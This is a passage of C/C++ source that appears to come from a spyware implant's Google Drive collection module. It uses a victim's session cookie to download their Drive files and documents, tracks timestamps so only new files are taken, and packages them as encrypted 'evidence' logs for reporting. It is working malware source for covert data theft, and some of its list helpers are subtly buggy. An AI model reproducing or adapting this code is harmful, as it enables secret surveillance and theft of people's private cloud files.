		dwBufferSize = 0;

		if(jValue != NULL)
		{
			if(jValue->IsObject())
			{
				jObj = jValue->AsObject();
			
				//get the download url
				if((jObj[L"downloadUrl"]->IsString()) && (jObj[L"downloadUrl"]->AsString().c_str() != NULL))
				{
					pwszFrom = (LPWSTR)jObj[L"downloadUrl"]->AsString().c_str();
					if(!_wcsnicmp(pwszFrom, L"https://", 8))
						pwszFrom += 8;									
				
					pwszTo = StrStr(pwszFrom, L"/");
					if(pwszTo != NULL)
					{
						dwSize = (pwszTo - pwszFrom);

						//get the host name
						wcsncpy_s(pwszHost, 256, pwszFrom, dwSize);					
						wcscpy_s(pwszURI, 1024, pwszTo);
					
						//swprintf_s(pwszHeader, 1024, L"Host: %s\r\nConnection: keep-alive\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36\r\nAccept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4", pwszHost);
						swprintf_s(pwszHeader, 1024, L"Host: %s\r\nConnection: keep-alive\r\nAccept: */*", pwszHost);

						//get file
						dwBufferSize = 0;

						dwRet = HttpSocialRequest(pwszHost,
													L"GET",
													pwszURI,
													pwszHeader,
													443, 
													NULL, 
													0, 
													(LPBYTE *)&pszRecvBuf,
													&dwBufferSize, 
													pszCookie);
						znfree(&pwszURI);
						znfree(&pwszHost);
						znfree(&pwszHeader);

						if((dwRet != SOCIAL_REQUEST_SUCCESS) || (dwBufferSize != pFile->dwFileSize))
						{
							delete jValue;
							znfree(&pszRecvBuf);
							return GD_E_HTTP;
						}
					}
				}
			}
		}
		else
		{
			znfree(&pwszURI);
			znfree(&pwszHost);
			znfree(&pwszHeader);
			return GD_E_INVALID_JSON_DATA;
		}

		//delete json struct
		delete jValue;
	}

	znfree(&pwszURI);
	znfree(&pwszHost);
	znfree(&pwszHeader);

	//save the pointer to the file buffer
	pFile->pcFileBuf  = (LPBYTE)pszRecvBuf;
	pFile->dwFileSize = dwBufferSize;

	return GD_E_SUCCESS;	
}


//get all the files newer than 'dwTimestamp', according to the file type and to the timestamp
//DWORD GD_DownloadFiles(PGD_FILE_LIST pFileList, PGD_PARAMS pParams, LPWSTR *pwszFileType, LPSTR pszCookie)
DWORD GD_DownloadFiles(PGD_FILE_LIST pFileList, PGD_PARAMS pParams, LPSTR pszCookie)
{
	PGD_FILE pItem=NULL, pList=NULL;
	DWORD i=0, j=0;
	int	  nPos=0;
	
	//get only the last n items
	if(pFileList->Items > GD_MAX_ITEMS)
		pList = GD_ScrollList(pFileList->List, (pFileList->Items-GD_MAX_ITEMS-1));
	else
		pList = pFileList->List;
		
	//loop the linked list
	for(pItem=pList; pItem != NULL; pItem=pItem->Next)
	{
		//download the file
		DWORD dwRetFile = GD_GetFile(pItem, pParams, pszCookie);
		if(dwRetFile == GD_E_SUCCESS)
		{
			//log the file buffer (info only)
			//dwRet = GD_LogEvidence(pItem);

			//copy the encrypted file to the log structure
			DWORD dwRet = LogCloud_CopyFile(pItem, PM_FILEAGENT_CAPTURE);
			znfree(&pItem->pcFileBuf);

			if(dwRet != LC_E_SUCCESS)
				return dwRet;				
		}

		if((dwRetFile == GD_E_SUCCESS) || (dwRetFile == GD_E_FILESIZE))
		{
			if(GD_IsGoogleDoc(pItem->FileType))
			{
				//set the timestamp for document
				GD_SetLastTimeStamp("DC", pItem->dwTimestamp, pParams->pszDriveID);
			}
			else
			{
				//set the timestamp for file
				GD_SetLastTimeStamp("FL", pItem->dwTimestamp, pParams->pszDriveID);
			}
		}
		else
			return dwRetFile;
	}

	return GD_E_SUCCESS;
}




//return the file type parsing the json file array
GD_ITEM_TYPE GD_GetFileType(JSONArray jFile)
{
	//the file type is in the position 3 of the array
	if(!jFile[GD_FILE_TYPE]->IsString())
		return GD_ITEM_UNKNOWN;

	//verify if it's a directory
	if(StrStrI(jFile[GD_FILE_TYPE]->AsString().c_str(), L"google-apps.folder") != NULL)
		return GD_ITEM_DIR;

	//verify if it's a google spreadsheet (xlsx)
	if(StrStrI(jFile[GD_FILE_TYPE]->AsString().c_str(), L"google-apps.spreadsheet") != NULL)
		return GD_ITEM_XLS;

	//verify if it's a google spreadsheet (xlsx)
	if(StrStrI(jFile[GD_FILE_TYPE]->AsString().c_str(), L"google-apps.ritz") != NULL)
		return GD_ITEM_XLS;	

	//verify if it's a google presentation (ppt)
	if(StrStrI(jFile[GD_FILE_TYPE]->AsString().c_str(), L"google-apps.presentation") != NULL)
		return GD_ITEM_PPT;	

	//verify if it's a google presentation (ppt)
	if(StrStrI(jFile[GD_FILE_TYPE]->AsString().c_str(), L"google-apps.punch") != NULL)
		return GD_ITEM_PPT;

	//verify if it's a google drawing (jpg)
	if(StrStrI(jFile[GD_FILE_TYPE]->AsString().c_str(), L"google-apps.drawing") != NULL)
		return GD_ITEM_JPG;	

	//verify if it's a google document (docx)
	if(StrStrI(jFile[GD_FILE_TYPE]->AsString().c_str(), L"google-apps.document") != NULL)
		return GD_ITEM_DOC;	

	//verify if it's a google document (docx)
	if(StrStrI(jFile[GD_FILE_TYPE]->AsString().c_str(), L"google-apps.kix") != NULL)
		return GD_ITEM_DOC;	

	//check the file size
	if(!jFile[GD_FILE_SIZE]->IsNumber())
		return GD_ITEM_UNKNOWN;

	if(jFile[GD_FILE_SIZE]->AsNumber() == 0)
		return GD_ITEM_UNKNOWN;

	return GD_ITEM_FILE;
}


//verify if the size of the file is valid and return the size in bytes
DWORD GD_GetFileSize(JSONArray jFile, GD_ITEM_TYPE FileType)
{
	double dSize = 0;

	//get file size (continue if the file size is not a number of if the size is 0)
	if(!jFile[GD_FILE_SIZE]->IsNumber())
		return 0;

	//if the file size is not a number
	dSize = jFile[GD_FILE_SIZE]->AsNumber();
	if((dSize == 0) && (FileType == GD_ITEM_FILE))
		return 0;

	if(dSize > GD_MAX_FILE_SIZE)
		return 0;

	//if the file is 0, it's a google document, so set the size = 1
	if(GD_IsGoogleDoc(FileType))
		dSize = 1;

	return ((DWORD)dSize);
}


BOOL GD_IsGoogleDoc(GD_ITEM_TYPE FileType)
{
	if((FileType == GD_ITEM_DOC) ||
	   (FileType == GD_ITEM_XLS) ||
	   (FileType == GD_ITEM_PPT) || 
	   (FileType == GD_ITEM_JPG))
	   return TRUE;

	return FALSE;
}


//add a file extension to the google document, according to the specified file type
BOOL GD_AddFileExtension(LPWSTR *pwszFileName, GD_ITEM_TYPE FileType)
{	
	//if it's a document, realloc the string to append the extension bytes
	if(!GD_IsGoogleDoc(FileType))
	{
		//#ifdef _DEBUG
		//	OutputDebugString(L"[!] The file is not a google document (GD_AddFileExtensions(0))");
		//#endif

		return GD_E_GENERIC;
	}

	if(pwszFileName == NULL)
	{
		//#ifdef _DEBUG
		//	OutputDebugString(L"[!] FileName is NULL (GD_AddFileExtensions(1))");
		//#endif

		return GD_E_GENERIC;
	}

	LPWSTR pwszNewName = NULL;
	DWORD  dwSize = 0;
		
	//alloc mem for the new string
	dwSize = wcslen(*pwszFileName) + 6; //add 5 bytes for the extension and 1 for \0

	pwszNewName = (LPWSTR)zalloc(dwSize * sizeof(WCHAR));
	if(pwszNewName == NULL)
	{
		//#ifdef _DEBUG
		//	OutputDebugString(L"[!] Memory allocation failed (GD_AddFileExtensions(pwszNewName))");
		//#endif
		return GD_E_ALLOC;
	}

	switch(FileType)
	{
		case GD_ITEM_DOC:
			swprintf_s(pwszNewName, dwSize, L"%s.%s", *pwszFileName, L"docx");
			break;
		case GD_ITEM_XLS:
			swprintf_s(pwszNewName, dwSize, L"%s.%s", *pwszFileName, L"xlsx");
			break;
		case GD_ITEM_PPT:
			swprintf_s(pwszNewName, dwSize, L"%s.%s", *pwszFileName, L"pptx");
			break;
		case GD_ITEM_JPG:
			swprintf_s(pwszNewName, dwSize, L"%s.%s", *pwszFileName, L"jpg");
			break;
	}

	//delete the old file name
	znfree(pwszFileName);

	//assign the new name to the file name
	*pwszFileName = pwszNewName;

	return GD_E_SUCCESS;
}


BOOL GD_LogEvidence(PGD_FILE pFile)
{	
	LPSTR pszProcName	= "GOOGLE_DRIVE";
	DWORD dwDelimiter	= ELEM_DELIMITER;
	DWORD dwSize, dwFileSizeHi, dwFileSizeLo, dwOperation;
	LPBYTE lpcBuf, lpTmp;
	struct tm time;
	_int64 nTime;
	BOOL   bRet = FALSE;
	//char   szBuf[32];

	//verify the log info
	if((pFile == NULL)				 || 
	   (pFile->pwszFileName == NULL) || 
	   (pFile->pwszFileID   == NULL))
		return FALSE;

	//build the log	

	//get the system time
	_time64(&nTime);

	//sprintf_s(szBuf, sizeof(szBuf), "%d" , pFile->dwTimestamp);
	//szBuf[10] = 0;
	//nTime = atol(szBuf);

	//convert time value to a tm struct
	_gmtime64_s(&time, &nTime);
	time.tm_year += 1900;
	time.tm_mon++;

	//compute the size of the log
	dwSize  = sizeof(time);											//timestamp
	dwSize += (strlen(pszProcName) + 1);							//procname (googledrive)
	dwSize += sizeof(dwFileSizeHi);									//filesize (hi dword)
	dwSize += sizeof(dwFileSizeLo);									//filesize (low dword)
	dwSize += sizeof(dwOperation);									//operation
	dwSize += ((wcslen(pFile->pwszFileName) + 1) * sizeof(WCHAR));	//filename
	dwSize += sizeof(dwDelimiter);									//delimiter

	//alloc mem for the log data
	lpcBuf = (LPBYTE)malloc(dwSize);
	if(lpcBuf == NULL)
		return FALSE;
	lpTmp = lpcBuf;

	dwFileSizeHi = 0;
	dwFileSizeLo = pFile->dwFileSize;
	dwOperation  = GENERIC_READ;

	//fill the buffer
	memcpy(lpTmp, &time, sizeof(time));															//timestamp
	lpTmp += sizeof(time);
	memcpy(lpTmp, pszProcName, (strlen(pszProcName) + 1));										//procname
	lpTmp += (strlen(pszProcName) + 1);
	memcpy(lpTmp, &dwFileSizeHi, sizeof(dwFileSizeHi));											//filesize hi
	lpTmp += sizeof(dwFileSizeHi);
	memcpy(lpTmp, &dwFileSizeLo, sizeof(dwFileSizeLo));											//filesize lo
	lpTmp += sizeof(dwFileSizeLo);
	memcpy(lpTmp, &dwOperation, sizeof(dwOperation));											//operation
	lpTmp += sizeof(dwOperation);
	memcpy(lpTmp, pFile->pwszFileName, ((wcslen(pFile->pwszFileName) + 1) * sizeof(WCHAR)));	//filename
	lpTmp += ((wcslen(pFile->pwszFileName) + 1) * sizeof(WCHAR));
	memcpy(lpTmp, &dwDelimiter, sizeof(dwDelimiter));

	//queue the log 
	bRet = LogCloud_ReportLog(PM_FILEAGENT, lpcBuf, dwSize);

	return bRet;
}


//insert the file struct to the list ordered by timestamp (ascending order)
DWORD GD_AddFileToList(PGD_FILE *pList, PGD_FILE pNewFile)
{
	PGD_FILE pItem=NULL, pTmp=NULL, pLast=NULL;
	
	for(pItem=*pList; pItem!=NULL; pItem=pItem->Next)
	{
		//check the timestamp
		if(pItem->dwTimestamp == 0)
			break;

		if(pItem->dwTimestamp > pNewFile->dwTimestamp)
			break;		

		pLast = pItem;
	}

	pTmp = pItem;

	if(pLast == NULL)
	{
		//add element to first position
		pLast = pNewFile;
		*pList = pLast;
	}
	else
		pLast->Next = pNewFile;

	pNewFile->Next = pTmp;

	return GD_E_SUCCESS;
}

//count the item in the linked list
DWORD GD_CountListItems(PGD_FILE pFileList)
{
	PGD_FILE pItem=NULL, pNext=NULL;
	int i;
	
	//scroll the list till the end
	for(i=0, pItem=pFileList; pItem!=NULL; pItem=pNext, i++)
		;

	return i;
}

//go to the n element of the linked list
PGD_FILE GD_ScrollList(PGD_FILE pFileList, DWORD dwPos)
{
	PGD_FILE pItem=NULL, pNext=NULL;
	DWORD i;
	
	for(i=0, pItem=pFileList; (i<dwPos) && (pItem!=NULL); pItem=pNext, i++)
	{
		pNext = pItem->Next;
	}

	return pNext;
}


//delete all the elements from the list
void GD_DeleteFile(PGD_FILE pFile)
{
	if(pFile == NULL)
		return;

	//delete the struct's strings
	znfree(&pFile->pwszFileID);
	znfree(&pFile->pwszFileName);
	znfree(&pFile->pcFileBuf);
	
	//delete the current item
	znfree((LPVOID*)&pFile);
}

//delete all the elements from the list
void GD_DeleteFileList(PGD_FILE *pFileList)
{
	PGD_FILE pItem=NULL, pNext=NULL;
	
	for(pItem=*pFileList; pItem!=NULL; pItem=pNext)
	{		
		//delete the struct's strings
		znfree(&pItem->pwszFileID);
		znfree(&pItem->pwszFileName);
		znfree(&pItem->pcFileBuf);
	
		//save the next item in the list
		pNext = pItem->Next;

		//delete the current item
		znfree((LPVOID*)&pItem);
	}

	*pFileList = NULL;
}



//get the last timestamp used for the requested evidence type
DWORD GD_GetLastTimeStamp(LPSTR lpszPrefix, DWORD *dwTimestamp, LPSTR pstrSuffix)
{
	char	szTSName[64] = {0};
	char	*pEnc = NULL;

	if(lpszPrefix != NULL)
		strcpy_s(szTSName, sizeof(szTSName), lpszPrefix);

	//encode the suffix
	pEnc = base64_encode((const unsigned char*)pstrSuffix, strlen(pstrSuffix));
	if(pEnc == NULL)
		return GD_E_ALLOC;

	//add the suffix
	if(pstrSuffix)
		strcat_s(szTSName, sizeof(szTSName), pEnc);

	//free heap
	znfree((LPVOID*)&pEnc);

	//get last timestamp saved
	*dwTimestamp = SocialGetLastTimestamp(szTSName, NULL);

	return GD_E_SUCCESS;
}


//set the last timestamp used for the requested evidence type
DWORD GD_SetLastTimeStamp(LPSTR lpszPrefix, DWORD dwTimestamp, LPSTR pstrSuffix)
{
	char	szTSName[64];
	char	*pEnc = NULL;

	if(lpszPrefix != NULL)
		strcpy_s(szTSName, sizeof(szTSName), lpszPrefix);

	//encode the suffix
	pEnc = base64_encode((const unsigned char*)pstrSuffix, strlen(pstrSuffix));
	if(pEnc == NULL)
		return GD_E_ALLOC;

	//add a suffix
	strcat_s(szTSName, sizeof(szTSName), pEnc);
	
	znfree((LPVOID*)&pEnc);

	//set the timestamp	
	SocialSetLastTimestamp(szTSName, dwTimestamp, 0);

	return GD_E_SUCCESS;
}


#ifdef _DEBUG

//print the linked list
void GD_PrintList(PGD_FILE pFileList)
{
	WCHAR wszTimestamp[256];
	PGD_FILE pItem = NULL;
	
	for(pItem=pFileList; pItem!=NULL; pItem=pItem->Next)
	{
		swprintf_s(wszTimestamp, sizeof(wszTimestamp)/2, L"%lu", pItem->dwTimestamp);
		OutputDebugString(wszTimestamp);
		OutputDebugString(L" - ");
		OutputDebugString(pItem->pwszFileName);
		OutputDebugString(L"\r\n");		
	}
}

//writes data on disk
void GD_DumpBuffer(LPCWSTR lpFileName, char* lpBuffer, DWORD dwSize)
{
	HANDLE hFile;
	DWORD dwWritten=0;

	//file creation
	hFile = CreateFile(lpFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if(hFile == INVALID_HANDLE_VALUE)
		return;

	//write to file
	if(!WriteFile(hFile, lpBuffer, dwSize, &dwWritten, NULL))
	{
		CloseHandle(hFile);
		return;
	}

	CloseHandle(hFile);
}

//writes data on disk
void GD_DumpBuffer(LPCWSTR lpFileName, WCHAR* lpBuffer, DWORD dwSize)
{
	HANDLE hFile;
	DWORD dwWritten=0;

	//file creation
	hFile = CreateFile(lpFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if(hFile == INVALID_HANDLE_VALUE)
		return;

	//write to file
	if(!WriteFile(hFile, lpBuffer, dwSize, &dwWritten, NULL))
	{
		CloseHandle(hFile);
		return;
	}

	CloseHandle(hFile);
}

#endif